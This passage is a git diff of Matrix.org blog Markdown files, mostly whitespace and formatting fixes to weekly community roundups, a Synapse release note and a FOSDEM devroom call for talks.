stored file. To quote from the advisory: -> ### [GHSA-3hfw-x7gx-437c](https://github.com/matrix-org/synapse/security/advisories/GHSA-3hfw-x7gx-437c) / CVE-2021-41281: Path traversal when downloading remote media. +> ### [GHSA-3hfw-x7gx-437c](https://github.com/matrix-org/synapse/security/advisories/GHSA-3hfw-x7gx-437c) / CVE-2021-41281: Path traversal when downloading remote media > > #### Impact > diff --git a/content/blog/2021/11/2021-11-26-this-week-in-matrix-2021-11-26.md b/content/blog/2021/11/2021-11-26-this-week-in-matrix-2021-11-26.md index 5238582f6..d61cd6f0a 100644 --- a/content/blog/2021/11/2021-11-26-this-week-in-matrix-2021-11-26.md +++ b/content/blog/2021/11/2021-11-26-this-week-in-matrix-2021-11-26.md @@ -18,45 +18,52 @@ image = "https://matrix.org/blog/img/BRLaqyRUihVwexaSVGXnyMQK.png" [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) says -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . +> > ### MSC Status -> +> > **New MSCs:** +> > * [MSC3523: Timeboxed/ranged relations endpoint](https://github.com/matrix-org/matrix-doc/pull/3523) > * [MSC3517: "Mention" Pushrule](https://github.com/matrix-org/matrix-doc/pull/3517) > * [MSC3510: Let users kick/ban/demote each other](https://github.com/matrix-org/matrix-doc/pull/3510) -> +> > **MSCs with proposed Final Comment Period:** +> > * _No MSCs entered proposed FCP state this week._ -> +> > **MSCs in Final Comment Period:** +> > * _No MSCs are in FCP._ -> +> > **Merged MSCs:** +> > * [MSC2674: Event Relationships](https://github.com/matrix-org/matrix-doc/pull/2674) -> +> > **Closed MSCs:** +> > * [MSC3006: Bot Interactions](https://github.com/matrix-org/matrix-doc/pull/3006) -> +> > ### Spec Updates -> +> > [MSC2675](https://github.com/matrix-org/matrix-doc/pull/2675) (serverside aggregations) is getting lots of updates from Bruno in order to align the proposal with what is currently implemented in the wild (as it's easier to iterate on incremental improvements from a starting point grounded in reality). This MSC is a bit of a special case though, as it was implemented with stable prefixes before the MSC landed (in the before times...). -> +> > Regardless, thank you very much to Bruno for going through and finally untangling and help land aggregations in the spec! This MSC is one of four which describe how aggregations should work in Matrix, and it's great to see them finally being properly spec'd, especially as further features start to be built on top of them (such as [threading](https://github.com/matrix-org/matrix-doc/pull/3440/)!). -> +> > And finally, a further thank you to community members [@ankur12-1610](https://github.com/ankur12-1610), [@Dominaezzz](https://github.com/Dominaezzz) for [an OpenAPI schema fix](https://github.com/matrix-org/matrix-doc/pull/3509)! -> +> > ### Random Spec of the Week -> +> > The random spec of the week is... [MSC3395: Synthetic appservice events](https://github.com/matrix-org/matrix-doc/pull/3395)! -> +> > This proposal aims to allow appservices to get ever greater visibility into what is happening on the homeserver, while still maintaining full process separation. -> +> > A lot of the time solutions to complex problems require knowing when a user has registered or logged in, with what name/3pids etc, when users change their emails, etc. Hooking into these non-room-based actions can help with developing useful features. Maybe you want an appservice that plays a sound effect whenever a user signs up to your homeserver! -> +> > These days, that is often achieved by homeserver implementation-specific solutions, such as [modules](https://matrix-org.github.io/synapse/latest/modules/) in Synapse. Being able to notify of these events using a standard API shape would be hugely beneficial to generalisation of projects. -> +> > So give the proposal a look over and review if that interests you! +> > ![](/blog/img/db360c85bf5f0e1bef8eaf95481c1128ea51c61b.png) Some exciting MSCs this week, I've been waiting for server-side aggregations for long! @@ -70,9 +77,9 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) announces > As predicted last week, we [released Synapse 1.47.1](https://matrix.org/blog/2021/11/23/synapse-1-47-1-released) on Tuesday. This is a security release which fixes an issue with Synapse's built-in media repository. Admins are strongly encouraged to upgrade. -> -> Otherwise, relatively slow week: a handful of of the team have been away (Happy Thanksgiving, Americans!), but we *did* release [Synapse 1.48.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.48.0rc1). Most importantly, this release candidate includes changes to improve the efficiency of large background updates from past releases, which should significantly reduce database load when upgrading. It also adds support for the `/v3` APIs defined in version 1.1 of the Matrix specification. -> +> +> Otherwise, relatively slow week: a handful of of the team have been away (Happy Thanksgiving, Americans!), but we _did_ release [Synapse 1.48.0rc1](https://github.com/matrix-org/synapse/releases/tag/v1.48.0rc1). Most importantly, this release candidate includes changes to improve the efficiency of large background updates from past releases, which should significantly reduce database load when upgrading. It also adds support for the `/v3` APIs defined in version 1.1 of the Matrix specification. +> > We'll talk more about 1.48 when it's formally released next week, but as always, we appreciate folks trying out the release candidates and letting us know how they behave. Administrators, keep your users safe: update as soon as you can! @@ -92,16 +99,16 @@ Matrix Kubernetes applications packaged into helm charts ### mautrix-googlechat [tulir](https://matrix.to/#/@tulir:maunium.net) reports - + > [mautrix-googlechat](https://github.com/mautrix/googlechat) has seen lots of improvements over the past few days. New features include: -> +> > * Bridging edits, deletions, reactions, formatting and read receipts in both directions (even `/rainbow` somewhat works from Matrix) > * Bridging typing notifications and any types of files from Matrix to Google Chat > * Bridging Google Meet links from Google Chat to Matrix > * Syncing group members from Google Chat -> +> > (edits and deletions are only available on Google Workspace accounts, not normal accounts. I have no idea why they did that, but that's just how Google Chat works 🤷) -> +> > There's still a bug where it sometimes silently stops receiving messages, which I'm currently trying to solve (or work around). After that I'll make a v0.3.0 release. Backfilling history may also happen in the near future ### Matrix Webhook Receiver [↗](https://github.com/HarHarLinks/matrix-webhook-receiver) @@ -111,33 +118,37 @@ An add-on for the matrix-appservice-webhooks bridge. Webhooks are essentially we [kim](https://matrix.to/#/@kim:sosnowkadub.de) announces > [Matrix Webhook Receiver](https://github.com/HarHarLinks/matrix-webhook-receiver) -> +> > Do you like to receive notifications in matrix? > Matrix Webhook Receiver (MWR) is an add-on for the [matrix-appservice-webhooks](https://github.com/turt2live/matrix-appservice-webhooks) bridge. [Webhooks](https://en.wikipedia.org/wiki/Webhook) are essentially web interfaces for applications to "push" data to. > The bridge can receive messages in a certain format, which is nice if the notifying app can be configured. Often it cannot. -> +> > This is where MWR comes in: > It can receive any (JSON) content, optionally reformat it nicely (customizable!), and forward it to the webhooks bridge which will post it to a room for you. If you are running any software service, there is a good chance it can notify you via webhooks! -> +> > Right now, several example configurations exist, ready for you to use: +> > * GitHub > * GitLab (including Community Edition/self hosted) > * Ansible Tower/AWX > * Grafana Alerts -> +> > For example, here is the GitHub webhook as seen in [#matrix-webhook-receiver:matrix.org](https://matrix.to/#/#matrix-webhook-receiver:matrix.org): +> > ![](/blog/img/webhook_receiver.png) -> +> > More examples of apps currently in development: Prometheus Alertmanager, Jellyfin -> +> > It is also easy to use to send messages from the commandline with standard tools (`curl`), e.g. for your cron jobs! See the README for an example. -> +> > Some other webhook matrix things exist, but often require +> > * ➖ admin access to server (appservices) > * ➖ installing and running and maintaining a specific bot per service > * ➖ create and set up accounts and passwords for each bot to use -> +> > In contrast, MWR requires: +> > * ➖ matrix-appservice-webhooks set up on your server by your admin > * ➖ some knowledge of how to send POST requests for one time setup. I want to improve that, suggestions are welcome! > * ➕ MWR can be installed and run by anyone who can access the bridge @@ -145,15 +156,17 @@ An add-on for the matrix-appservice-webhooks bridge. Webhooks are essentially we > * ➕ you don't need admin access to the server to add more apps > * ➕ no need to develop a bot/plugin to support new apps, just write a quick jinja template > * ➕ multiple people can use a single MWR instance by sharing HTTP basic auth credentials -> +> > Other features: +> > * can post into encrypted rooms (see readme) > * automatically generated API docs > * message formatting presets including html markup or m.notice > * arbitrarily customizable webhook URLs > * list and manage currently installed webhooks in your browser ([screenshot](https://github.com/HarHarLinks/matrix-webhook-receiver/blob/main/examples/GUI_screenshot.png)) -> +> > Links: +> > * [Repo](https://github.com/HarHarLinks/matrix-webhook-receiver) > * [#matrix-webhook-receiver:matrix.org](https://matrix.to/#/#matrix-webhook-receiver:matrix.org) @@ -166,19 +179,19 @@ A multi purpose multi platform bridge, formerly known as matrix-github [Half-Shot](https://matrix.to/#/@Half-Shot:half-shot.uk) says > Hey folks! Some exciting new news on the bridge front: I've renamed `matrix-github` to `matrix-hookshot` to better reflect it's not-just-GitHub-ness. That's not all though, as there are new features too: -> +> > * The bridge now supports **Rust** as a companion language (we're aiming to rewrite critical sections in rust). Some parts of the formatting code have already been rewritten. > * The bridge now supports JIRA (full puppeting!) > * The bridge now supports generic webhooks too, with the ability to write **custom handling code** inside the state event to process these hooks into pretty messages. > * Basic support for GitHub discussions. -> +> > In the works: -> +> > * A provisioning API to hook into integration managers > * More GitLab support > * Better GitHub discussions support -> -> We're not quite ready for a 0.2.0 release, but please check us out at https://github.com/Half-Shot/matrix-hookshot. +> +> We're not quite ready for a 0.2.0 release, but please check us out at . An interesting update, and Half-Shot even demoes it in today's Matrix Live! @@ -191,10 +204,11 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > After the 0.9.0 release last week, we have of course been busy fixing all the bugs different people reported. Messing around with the sticker pack editor and then leaving room should not make Nheko crash anymore. The problems where the flatpak has issues starting on Gnome systems are still under investigation. We thought we had a solution, but that seems to have broken other stuff! 💥 -> +> > Apart from that we have been doing some after release party cleanup. Apart from some refactorings, you can now filter your rooms on whether they are a direct chat or not in the sidebar. This is in addition to the filters we already had for favourites, spaces and your other personal tags. User colors should also now be much less biased towards blue and jdenticons should have more variance. Expect the next release to be a much more colorful experience! -> +> > Speaking of colors, Twily made this awesome ZX Spectrum inspired logo after we changed our Gitlab bot to be more colorful! Check it out: +> > ![](/blog/img/624b9e743f874ccf4431a5721a077d86e89d331e.png) Gorgeous, I love it! @@ -214,14 +228,17 @@ Everything related to Element but not strictly bound to a client [kittykat](https://matrix.to/#/@kittykat:matrix.org) says > **Threads** +> > * On Web we’ve been working on Notifications and Badges, making sure no message goes unread. > * On Mobile we’re building out the new Threads Panel so you can easily see all the Threads in a room. -> +> > **Polls** +> > * The Polls team is making great progress, focusing their efforts on creating and voting on all platforms. > * User testing sessions are coming up! -> +> > **Community Testing** +> > * Bug squash session on Web on Tuesday 30 November at 17:00 UTC, join the call at [#element-community-testing:matrix.org](https://matrix.to/#/#element-community-testing:matrix.org) > * Upcoming plans include testing sessions on Polls and IA. @@ -231,7 +248,7 @@ Secure and independent communication, connected via Matrix. Come talk with us in [kittykat](https://matrix.to/#/@kittykat:matrix.org) announces -> * Work continues on[ Information Architecture](https://github.com/vector-im/element-meta/issues/56): head over to Sidebar settings on develop.element.io to see what the team are currently working on. +> * Work continues on[Information Architecture](https://github.com/vector-im/element-meta/issues/56): head over to Sidebar settings on develop.element.io to see what the team are currently working on. ### Element iOS [↗](https://github.com/vector-im/element-ios) @@ -260,14 +277,19 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte [krazykirby99999](https://matrix.to/#/@krazykirby99999:matrix.org) says > simplematrixbotlib is an easy to use bot library for the Matrix ecosystem written in Python and based on matrix-nio. Version 2.4.0 provides several new features and a fix. -> ### New Features: +> +> ### New Features +> > * Newlines are now supported when sending markdown messages. > * The msgtype of text and markdown messages can now be specified. Text and markdown messages can now optionally be sent as "m.notice" to avoid alerting everybody of the new message. The default msgtype will continue to be "m.text". -> ### New Fixes: +> +> ### New Fixes +> > * Fixed issue where the homeserver was hardcoded in an http request. -> +> > Example usage is shown below: -> ``` +> +> ```python > import simplematrixbotlib as botlib > > creds = botlib.Creds("https://home.server", "user", "pass") @@ -287,15 +309,15 @@ simplematrixbotlib is an easy to use bot library for the Matrix ecosystem writte > > bot.run() > ``` -> +> > A thank you to HarHarLinks for their contributions to version 2.4.0! -> +> > Request additional features [here](https://github.com/KrazyKirby99999/simple-matrix-bot-lib/issues/new?assignees=&labels=&template=feature_request.md&title=). -> +> > [View source on Github](https://github.com/KrazyKirby99999/simple-matrix-bot-lib) > [View package on PyPi](https://pypi.org/project/simplematrixbotlib/) > [View docs on readthedocs.io](https://simple-matrix-bot-lib.readthedocs.io/en/latest/) -> https://matrix.to/#/#simplematrixbotlib:matrix.org +> ### jOlm [↗](https://github.com/brevilo/jolm) @@ -304,18 +326,20 @@ Olm bindings for Java [brevilo](https://matrix.to/#/@brevilo:matrix.org) reports > This week saw three releases of [jOlm](https://github.com/brevilo/jolm) which fix a native memory management issue, an Olm API (buffer) issue and add a few other improvements. Everyone is strongly encouraged to update to the latest [release](https://search.maven.org/artifact/io.github.brevilo/jolm/1.0.4/jar). -> -> ### Notes: +> +> ### Notes +> > * ✅ Bugfix and maintenance releases > * ✅ Up to date with Olm 3.2.6 -> -> ### [Changelog](https://github.com/brevilo/jolm/compare/1.0.1...1.0.4): +> +> ### [Changelog](https://github.com/brevilo/jolm/compare/1.0.1...1.0.4) +> > * Fixed the backing store retention for all Olm instances > * Fixed a buffer issue in `InboundGroupSession.decrypt()` > * Ensured conversions of variable native strings are trimmed -> * Centralized conversions to canonical JSON +> * Centralized conversions to canonical JSON > * Completed initial set of unit tests (effectively full coverage now) -> +> > Cheers! The only Java bindings of Olm to my knowledge, that's some very valuable work here! @@ -329,12 +353,13 @@ Command line admin tool for Synapse (Matrix reference homeserver) [jojo](https://matrix.to/#/@jojo:peek-a-boo.at) reports > `synadm` v0.32 is out! -> +> > My personal favorites of the new features are: +> > * Dates and times in several subcommands are translate the admin API's UNIX epoch timestamps to a human readable format. > * `synadm room list` now displays room aliases (#room:your.homeserver) -> -> Read the full release notes here: https://github.com/JOJ0/synadm/releases/tag/v0.32 +> +> Read the full release notes here: synadm is very useful as a homeserver administrator. Thanks JOJ0 @@ -347,11 +372,11 @@ A plugin-based Matrix bot system. [tulir](https://matrix.to/#/@tulir:maunium.net) reports > maubot [v0.2.0](https://github.com/maubot/maubot/releases/tag/v0.2.0) was released last weekend. Highlights: -> +> > * Enabling encryption should be much easier: the device ID can be entered in the web UI or you can just do `mbc auth --update-client` to automatically log in and store the access token and device ID in maubot. > * `mbc auth` can now log in with SSO. > * The standalone mode for running a single plugin with a static config is now mostly functional and [somewhat documented](https://docs.mau.fi/maubot/usage/standalone.html). -> +> > Also, I finally took a day to figure out Sphinx/autodoc and made some decent-looking autogenerated [docs for mautrix-python](https://docs.mau.fi/python/latest/). I'll probably extend that to generate maubot-specific API references too eventually. ## Dept of Interesting Projects 🛰️ @@ -364,6 +389,7 @@ A privacy focused social media based on MATRIX > Quick update on [MinesTRIX](https://minestrix.henri2h.fr/) (a privacy focused social media based on MATRIX). > This week was focused on performance and stability. +> > * Changed database to use Fluffybox, this should greatly improve performances on web (thanks Famedly !) > * Scrolling through the posts of a profile now properly request history. > * Friend suggestions are now sorted according to the sum of user appearance in all rooms. Naïve, but it's the first step. @@ -372,8 +398,9 @@ A privacy focused social media based on MATRIX > * Minestrix rooms sync has been rewritten to take into account sync events to rebuild the list. > * Debug page now allow forcing sorting rooms. > * Various post display enhancement (links are now clickable, thanks kellya!) -> +> > Come chat with us : [#minestrix:carnot.cc](https://matrix.to/#/#minestrix:carnot.cc) +> > ![](/blog/img/BRLaqyRUihVwexaSVGXnyMQK.png) That's one exciting project, I can't wait to see how far it's going! @@ -383,27 +410,29 @@ That's one exciting project, I can't wait to see how far it's going! [Mish](https://matrix.to/#/@mishushakov:matrix.org) says > Federated sign-in component for your web app (using Matrix) -> +> > This week's update: +> > * Gained 180 stars on GitHub since release (thanks!) > * Added login states, accessible from the API > * Sign out > * Added CSS styling via variables > * Updated demo -> -> more on https://github.com/mishushakov/signin-with-matrix +> +> more on As last week, a note to keep in mind that this is a community project and that there is a MSC to make Matrix more OAuth2 friendly. More on that very soon! -## Dept of *Built on Matrix* 🏗️ +## Dept of _Built on Matrix_ 🏗️ ### Matrix Forms [Mish](https://matrix.to/#/@mishushakov:matrix.org) reports > First release of "Matrix Forms", a project which redirects form submissions to designated Matrix rooms -> +> > Features: +> > * Server-side, no additional JavaScript > * Rich formatting > * Many forms on same instance @@ -411,11 +440,11 @@ As last week, a note to keep in mind that this is a community project and that t > * Templates > * CORS > * Metadata accessible for bots -> +> > Can be installed using NodeJS or Docker -> -> * demo: https://mishushakov.github.io/matrix-forms -> * code: https://github.com/mishushakov/matrix-forms +> +> * demo: +> * code: {{ youtube_player(video_id="R8HgMM1sp1M") }} @@ -424,11 +453,11 @@ As last week, a note to keep in mind that this is a community project and that t ### Server_Stats [MTRNord](https://matrix.to/#/@mtrnord:nordgedanken.dev) says - + > Today is a good day for those calling me a spy, someone not wanting to care about privacy and for those who did publicly harass me for server_stats. -> +> > People using the API likely already noticed it wasn't reachable for a while. Effective immediately I am currently leaving all rooms the bot is part of. This will take days or even months considering this are 6397 rooms at the time of writing. I am not going into the motives of why I am shutting it down. It comes down to personal reasons. -> +> > There won't be any dump of the data. The source will be kept public. Note though if anyone ever tries to run it that you need about 600GB of space for synapse, a lot of CPU, a lot of RAM and plenty of workers as this can easily crash synapse. Server_Stats was an incredibly useful project. It pains me a lot to see it go, but it pains me even further that its author got harassed. This is not an acceptable behaviour, and we are better than that as a community. Thanks for this incredible project MTRNord, it's been both exciting and useful. @@ -438,6 +467,7 @@ Server_Stats was an incredibly useful project. It pains me a lot to see it go, b Here we reveal, rank, and applaud the homeservers with the lowest ping, as measured by [pingbot](https://github.com/maubot/echo), a [maubot](https://github.com/maubot/maubot) that you can host on your own server. ### [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) + Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -454,6 +484,7 @@ Join [#ping:maunium.net](https://matrix.to/#/#ping:maunium.net) to experience th |10|trygve.me|2137| ### [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) + Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium.net) to experience the fun live, and to find out how to add YOUR server to the game. |Rank|Hostname|Median MS| @@ -470,4 +501,3 @@ Join [#ping-no-synapse:maunium.net](https://matrix.to/#/#ping-no-synapse:maunium ### That's all I know 🏁 See you next week, and be sure to stop by [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) with your updates! - diff --git a/content/blog/2021/11/2021-11-30-synapse-1-48-0-released.md b/content/blog/2021/11/2021-11-30-synapse-1-48-0-released.md index 7decc5bcc..780b28e9c 100644 --- a/content/blog/2021/11/2021-11-30-synapse-1-48-0-released.md +++ b/content/blog/2021/11/2021-11-30-synapse-1-48-0-released.md @@ -9,7 +9,7 @@ category = ["Releases"] [Synapse 1.48.0](https://github.com/matrix-org/synapse/releases/tag/v1.48.0) is out now! -> __NOTE:__ Synapse 1.49, due out on December 14th, will be the **last release of Synapse to support Python 3.6 or PostgreSQL 9.6** per our [platform dependency deprecation policy](https://matrix-org.github.io/synapse/v1.48/deprecation_policy.html). Accordingly, we will remove support for Ubuntu 18.04 LTS (Bionic) at the same date, as it ships with Python 3.6. +> __NOTE:__ Synapse 1.49, due out on December 14th, will be the __last release of Synapse to support Python 3.6 or PostgreSQL 9.6__ per our [platform dependency deprecation policy](https://matrix-org.github.io/synapse/v1.48/deprecation_policy.html). Accordingly, we will remove support for Ubuntu 18.04 LTS (Bionic) at the same date, as it ships with Python 3.6. ## Password resets and identity servers diff --git a/content/blog/2021/12/2021-12-02-call-for-participation-for-the-fosdem-2022-matrix-dev-room.md b/content/blog/2021/12/2021-12-02-call-for-participation-for-the-fosdem-2022-matrix-dev-room.md index 34f82c14e..ef6a68b87 100644 --- a/content/blog/2021/12/2021-12-02-call-for-participation-for-the-fosdem-2022-matrix-dev-room.md +++ b/content/blog/2021/12/2021-12-02-call-for-participation-for-the-fosdem-2022-matrix-dev-room.md @@ -25,6 +25,7 @@ We want this devroom to be a space where the Matrix community can show its work, The talks will be pre-recorded in January. They will be played during FOSDEM, followed by a session of live Q&A depending on the format. During the playback of the talk, people will be able to comment and ask questions in the chat (via Matrix!). The talks can follow one of three formats: + * 5 min lightning talk, ideal to showcase your project and make people want to have a look at it * 20 min talk + 10 min Q&A, for topics that can be covered briefly * 50 min talk + 10 min Q&A for more complex subjects which need more focus @@ -39,6 +40,6 @@ Of course, the proposal must respect the FOSDEM terms as well: Proposals must be [submitted on FOSDEM's conference management system Pentabarf](https://penta.fosdem.org/submission/FOSDEM22) before December 17th 2021. If you are not used to Pentabarf, you can follow this [beginners guide to Pentabarf](https://eyskens.me/beginners-guide-to-pentabarf/). -We expect to receive more requests than we have slots available. The devroom organisers (two community members and one core team rep) will be reviewing the proposals and accepting them based on the potential positive impact the project has on Matrix (as defined in by the Mission section of https://matrix.org/foundation). +We expect to receive more requests than we have slots available. The devroom organisers (two community members and one core team rep) will be reviewing the proposals and accepting them based on the potential positive impact the project has on Matrix (as defined in by the Mission section of ). If a project proposal has been turned down, it doesn't mean we don't believe it has good potential. Maintainers are invited to join the [#twim:matrix.org](https://matrix.to/#/#twim:matrix.org) Matrix room to give it some visibility. diff --git a/content/blog/2021/12/2021-12-03-this-week-in-matrix-2021-12-03.md b/content/blog/2021/12/2021-12-03-this-week-in-matrix-2021-12-03.md index 5cd755319..e44ca139f 100644 --- a/content/blog/2021/12/2021-12-03-this-week-in-matrix-2021-12-03.md +++ b/content/blog/2021/12/2021-12-03-this-week-in-matrix-2021-12-03.md @@ -26,7 +26,7 @@ For this week's Matrix Live my guest is Amandine and we're discussing how Elemen ## Dept of *Status of Matrix* 🌡️ -### FOSDEM! +### FOSDEM This year, the Matrix.org Foundation is excited to host the first ever Matrix.org Foundation and Community devroom at FOSDEM. A full day of talks, demos and workshops around Matrix itself and projects built on top of Matrix. [Read (and answer to) our Call for Partipactions](https://matrix.org/blog/2021/12/02/call-for-participation-for-the-fosdem-2022-matrix-dev-room)! @@ -42,34 +42,40 @@ That's a fantastic initiative! Kudos to all the sysadmins involved! [anoa](https://matrix.to/#/@andrewm:amorgan.xyz) reports -> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at https://spec.matrix.org/unstable/proposals. +> Here's your weekly spec update! The heart of Matrix is the specification - and this is modified by Matrix Spec Change (MSC) proposals. Learn more about how the process works at . > > ## MSC Status -> +> > **New MSCs:** +> > * [MSC3531: Letting moderators hide messages](https://github.com/matrix-org/matrix-doc/pull/3531) -> +> > **MSCs with proposed Final Comment Period:** -> * _No MSCs entered proposed FCP state this week._ -> +> +> * *No MSCs entered proposed FCP state this week.* +> > **MSCs in Final Comment Period:** +> > * [MSC3419: Allow guests to send more event types](https://github.com/matrix-org/matrix-doc/pull/3419) -> +> > **Merged MSCs:** -> * _No MSCs were merged this week._ +> +> * *No MSCs were merged this week.* +> > ## Spec Updates -> +> > The end of the year is drawing to a close. Thus many of the Spec Core Team members are focusing on implementation in order to meet deadlines. Review is still occurring though! As above, we have [MSC3419](https://github.com/matrix-org/matrix-doc/pull/3419) (allow guests to send more event types). This was born out of next-generation VoIP work, but it should have a positive impact on improving the guest experience in Matrix on the whole. -> +> > Otherwise work is still ongoing by Bruno and others on untangling the aggregations MSCs, specifically [MSC2675](https://github.com/matrix-org/matrix-doc/pull/2675) and [MSC2676](https://github.com/matrix-org/matrix-doc/pull/2676). -> +> > And finally, Alexandre Franke has [PR'd some work](https://github.com/matrix-org/matrix-doc/pull/3542) to allow for matrix.org's OpenAPI spec to be widely available, meaning anyone with a [Swagger](https://swagger.io/) (or other [OpenAPI](https://www.openapis.org/) viewer) client can easily pull it and start sending requests against a Matrix homeserver. Fun times! -> +> > ## Random MSC of the Week -> +> > The random spec of the week is... [MSC3419: Allow guests to send more event types](https://github.com/matrix-org/matrix-doc/pull/3419). -> +> > Random numbers, ladies and gentleman. +> > ![](/blog/img/66e13adad362e10cb349489f05f02756fd1f3319.png) ## Dept of Servers 🏢 @@ -81,13 +87,13 @@ Synapse is the reference homeserver for Matrix [callahad](https://matrix.to/#/@callahad:matrix.org) says > Goooood evening TWIM readers! -> +> > I want to start by drawing attention to a blog post which we published today: [Type coverage for Sydent: motivation](https://matrix.org/blog/2021/12/03/type-coverage-for-sydent-motivation). This the first in a series of three articles discussing what we've learned from making Sydent pass the [mypy](https://mypy.readthedocs.io/) type checker in strict mode. Improving type coverage across Synapse, Sygnal, and Sydent has been a major focus of the backend team at Element for the past few months, and we think we've learned a few useful things in the process. -> +> > This week we also [released Synapse 1.48](https://matrix.org/blog/2021/11/30/synapse-1-48-0-released) with loads of internal improvements, new Admin APIs, better alignment with the Matrix 1.1 spec, and more. We're planning one more release for the year, 1.49 on December 14th, and then we're taking a break until Synapse 1.50 on January 11th. -> +> > Importantly: Synapse 1.49 will be the last release to support Python 3.6, PostrgreSQL 9.6, and Ubuntu 18.04 LTS (Bionic) — if you're reliant on any of these platforms, please ensure you have plans to upgrade. -> +> > Let us know what you think of the article (and the Synapse release!), and we'll see you next week! ### Sydent [↗](https://github.com/matrix-org/sydent) @@ -103,27 +109,29 @@ Sydent is the reference Matrix Identity server. It provides a lookup service, so [madlittlemods (Eric Eastwood)](https://matrix.to/#/@madlittlemods:matrix.org) reports > In the vein of [Gitter feature parity](https://github.com/vector-im/roadmap/issues/26) on Matrix, we've made the first steps towards a better public static archive. We merged an experimental implementation of [MSC3030](https://github.com/matrix-org/matrix-doc/pull/3030) into [Synapse](https://github.com/matrix-org/synapse) which lets you use the unstable `/timestamp_to_event` client API endpoint go from a given timestamp to the closest event ID. This will allow us to implement a calendar jump to date interface to be able to navigate to any day in the rooms history. Our first target to add the jump to date UI in is [Hydrogen](https://github.com/vector-im/hydrogen-web) since we plan to server-side render Hydrogen for the actual public static archive as well. -> +> > To enable the [MSC3030](https://github.com/matrix-org/matrix-doc/pull/3030) unstable API endpoints in Synapse, add `experimental_features` -> `msc3030_enabled: true` to your `homeserver.yaml`: -> ``` +> +> ```txt > GET /_matrix/client/unstable/org.matrix.msc3030/rooms//timestamp_to_event?ts=&dir= > { > "event_id": ... > "origin_server_ts": ... > } > ``` -> +> > Also as part of [MSC3030](https://github.com/matrix-org/matrix-doc/pull/3030), when you use the client API endpoint, if your homeserver sees that the closest event it has locally in the database is next to a gap in the history, it will go out and ask other federated homeservers what they have as the closest event instead. -> ``` +> +> ```txt > GET /_matrix/federation/unstable/org.matrix.msc3030/timestamp_to_event/?ts=&dir= > { > "event_id": ... > "origin_server_ts": ... > } > ``` -> +> > *-- -> +> > [MSC2716](https://github.com/matrix-org/matrix-doc/pull/2716) to import batches of historical messages is still marching along getting some polishing passes and strengthening the assertions in the Complement tests to make sure things are going absolutely correctly. It's also good to see [Beeper](https://www.beeper.com/) utilizing it and catching a [few](https://github.com/matrix-org/synapse/issues/11241) [bugs](https://github.com/matrix-org/synapse/issues/11219) along the way 💪. ## Dept of Bridges 🌉 @@ -132,21 +140,24 @@ Sydent is the reference Matrix Identity server. It provides a lookup service, so Half-Shot reports very late, to the great despair of TWIM's editor: -> ### Hookshot gets provisioning! -> +> ### Hookshot gets provisioning +> > Stop the press. This is a last minute TWIM. We've been beavering away on [matrix-hookshot](https://github.com/Half-Shot/matrix-hookshot). It's gained many features in the last week, but the big thing is that hookshot has gained the ability to provision connections over a provisioning API, which means it should hook nicely into Dimension (and other integration managers, in the future)! -> -> +> +> > Other notable features are: -> - Support for multiple webhooks per room -> - Support for the username/text fields on an incoming webhook (slack style) -> - Named webhooks, so each hook now has a sensible displayname -> - The ability to spawn GitHub actions from rooms using the `!gh workflow run` command -> - Lots of new supported events from GitLab, such as reviews and tag pushes -> - Hosted documentation (so all of the above is easy to setup), it's a bit in progress atm. -> +> +> * Support for multiple webhooks per room +> * Support for the username/text fields on an incoming webhook (slack style) +> * Named webhooks, so each hook now has a sensible displayname +> * The ability to spawn GitHub actions from rooms using the `!gh workflow run` command +> * Lots of new supported events from GitLab, such as reviews and tag pushes +> * Hosted documentation (so all of the above is easy to setup), it's a bit in progress atm. +> > We're aiming for a release very very soon, hopefully in the next week or so! +> > ![](/blog/img/hookshot_1.png) +> > ![](/blog/img/hookshot_2.png) ## Homeserver Deployment 📥️ @@ -177,7 +188,7 @@ Desktop client for Matrix using Qt and C++17. [Nico](https://matrix.to/#/@deepbluev7:neko.dev) says > We finally figured out what caused the issues with the flatpak on GNOME, especially on Arm. It should now work properly, if you use Flathub. On the Pinephone (and other systems, that don't set a locale/use the C locale), timestamps should now not be needlessly long anymore. Redactions got a face-lift to distinguish them better from normal messages. We added a workaround for Synapse not allowing you to leave a banned room. We now delete the room from the room list permanently if Synapse returns "unknown room" when trying to leave it. Spaces can now show the entire hierarchy in the sidebar (if you pull it out) and you can navigate to subspaces by clicking on them in the roomlist, even if you collapsed the space hierarchy in the sidebar. -> +> > That's all, now let me bake some cookies! 🍪 ### FluffyChat [↗](https://fluffychat.im) @@ -185,33 +196,37 @@ Desktop client for Matrix using Qt and C++17. [Krille Fear](https://matrix.to/#/@krille:janian.de) says > Today we have released FluffyChat 1.0.0 with a whole new design, a lot of bug fixes and huge performance improvements. -> +> > ### New design -> +> > The new design has bigger message bubbles with fancy shadows and bigger fonts. The contrast has been improved and some elements, like the time on every single message bubble, are now hidden by default. But they are not gone! Detailed message information are now accessible in the new message info page, where we not also can see the message type and the timestamp, but also the whole JSON source code of each timeline event. -> +> > ### Spaces +> > Spaces have got a lot improvements and bug fixes. They have moved to the bottom bar of the chat list (while this bottom bar is still hidden if you have not joined any space yet). The multi account switcher have instead been moved to a top left drop-down menu. So we finally got rid of the drawer, which seems to be a deprecated material design feature anyway. This new UX makes spaces much easier to use. You can long press on them to go to the space settings and long press on any chat in the chat list, to add or remove a chat to (or from) a space. > We still have no support for the spaces summary API though so we don't have yet the ability to discover new rooms inside of a space but this feature might land soon in the Matrix Dart SDK. -> +> > ### Multi Account +> > FluffyChats multi account is still in beta but got a lot of bug fixes as well. You are now able to 